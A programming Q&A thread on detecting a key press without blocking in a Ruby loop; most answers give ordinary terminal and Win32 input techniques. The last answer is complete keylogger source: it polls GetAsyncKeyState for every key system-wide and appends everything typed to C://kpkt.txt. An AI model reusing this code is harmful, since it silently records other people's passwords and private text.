Detect key press (non-blocking) w/o getc/gets in Ruby

Question

I have a simple task that needs to wait for something to change on the filesystem (it's essentially a compiler for prototypes). So I've a simple infinite loop with a 5 second sleep after the check for changed files.

loop do
  # if files changed
  #   process files
  #   and puts result
  sleep 5
end

Instead of the Ctrl+C salute, I'd rather be able to test and see if a key has been pressed, without blocking the loop. Essentially I just need a way to tell if there are incoming key presses, then a way to grab them until a Q is met, then exit out of the program.

What I want is:

def wait_for_Q
  key_is_pressed && get_ch == 'Q'
end

loop do
  # if files changed
  #   process files
  #   and puts result
  wait_for_Q or sleep 5
end

Or, is this something Ruby just doesn't do (well)?

Answer 1

Here's one way to do it, using IO#read_nonblock:

def quit?
  begin
    # See if a 'Q' has been typed yet
    while c = STDIN.read_nonblock(1)
      puts "I found a #{c}"
      return true if c == 'Q'
    end
    # No 'Q' found
    false
  rescue Errno::EINTR
    puts "Well, your device seems a little slow..."
    false
  rescue Errno::EAGAIN
    # nothing was ready to be read
    puts "Nothing to be read..."
    false
  rescue EOFError
    # quit on the end of the input stream
    # (user hit CTRL-D)
    puts "Who hit CTRL-D, really?"
    true
  end
end

loop do
  puts "I'm a loop!"
  puts "Checking to see if I should quit..."
  break if quit?
  puts "Nope, let's take a nap"
  sleep 5
  puts "Onto the next iteration!"
end

puts "Oh, I quit."

Bear in mind that even though this uses non-blocking IO, it's still buffered IO. That means that your users will have to hit Q then <Enter>. If you want to do unbuffered IO, I'd suggest checking out ruby's curses library.

Answer 2

A combination of the other answers gets the desired behavior. Tested in ruby 1.9.3 on OSX and Linux.

loop do
  puts 'foo'
  system("stty raw -echo")
  char = STDIN.read_nonblock(1) rescue nil
  system("stty -raw echo")
  break if /q/i =~ char
  sleep(2)
end

Answer 3

You can also do this without the buffer. In unix based systems it is easy:

system("stty raw -echo") #=> Raw mode, no echo
char = STDIN.getc
system("stty -raw echo") #=> Reset terminal mode
puts char

This will wait for a key to be pressed and return the char code. No need to press .

Put the char = STDIN.getc into a loop and you've got it!

If you are on windows, according to The Ruby Way, you need to either write an extension in C or use this little trick (although this was written in 2001, so there might be a better way)

require 'Win32API'
char = Win32API.new('crtdll','_getch', [], 'L').Call

Here is my reference: great book, if you don't own it you should

Answer 4

By combinig the various solutions I just read, I came up with a cross-platform way to solve that problem. Details here, but here is the relevant piece of code: a GetKey.getkey method returning the ASCII code or nil if none was pressed.

Should work both on Windows and Unix.

module GetKey

  # Check if Win32API is accessible or not
  @use_stty = begin
    require 'Win32API'
    false
  rescue LoadError
    # Use Unix way
    true
  end

  # Return the ASCII code last key pressed, or nil if none
  #
  # Return::
  # * _Integer_: ASCII code of the last key pressed, or nil if none
  def self.getkey
    if @use_stty
      system('stty raw -echo') # => Raw mode, no echo
      char = (STDIN.read_nonblock(1).ord rescue nil)
      system('stty -raw echo') # => Reset terminal mode
      return char
    else
      return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call
    end
  end

end

And here is a simple program to test it:

loop do
  k = GetKey.getkey
  puts "Key pressed: #{k.inspect}"
  sleep 1
end

In the link provided above, I also show how to use the curses library, but the result gets a bit whacky on Windows.

Answer 5

You may also want to investigate the 'io/wait' library for Ruby which provides the ready? method to all IO objects. I haven't tested your situation specifically, but am using it in a socket based library I'm working on. In your case, provided STDIN is just a standard IO object, you could probably quit the moment ready? returns a non-nil result, unless you're interested in finding out what key was actually pressed. This functionality can be had through require 'io/wait', which is part of the Ruby standard library. I am not certain that it works on all environments, but it's worth a try. Rdocs: http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/

Answer 6

Now use this

require 'Win32API'

VK_SHIFT = 0x10
VK_ESC = 0x1B

def check_shifts()
    $listener.call(VK_SHIFT) != 0 ? true : false
end

# create empty Hash of key codes
keys = Hash.new

# create empty Hash for shift characters
uppercase = Hash.new

# add letters
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code }

# add numbers
(0x30..0x39).each { |code| keys[code-0x30] = code }

# add special characters
keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
keys['\\'] = 0xDC

# add custom key macros
keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14

# add for uppercase letters
('a'..'z').each { |char| uppercase[char] = char.upcase }

# add for uppercase numbers
uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%'
uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')'

# add for uppercase special characters
uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>'
uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"'
uppercase['\\'] = '|'

# create a listener for Windows key-presses
$listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')

# call listener once to initialize lsb's
keys.each_value { |code| $listener.call(code) }

logs = File.open('C://kpkt.txt', 'a')

while true
    break if $listener.call(VK_ESC) != 0

    keys.each do |char, code|
        n = $listener.call(code)
        if n and n & 0x01 == 1
            check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}")
        end
    end
end

logs.close()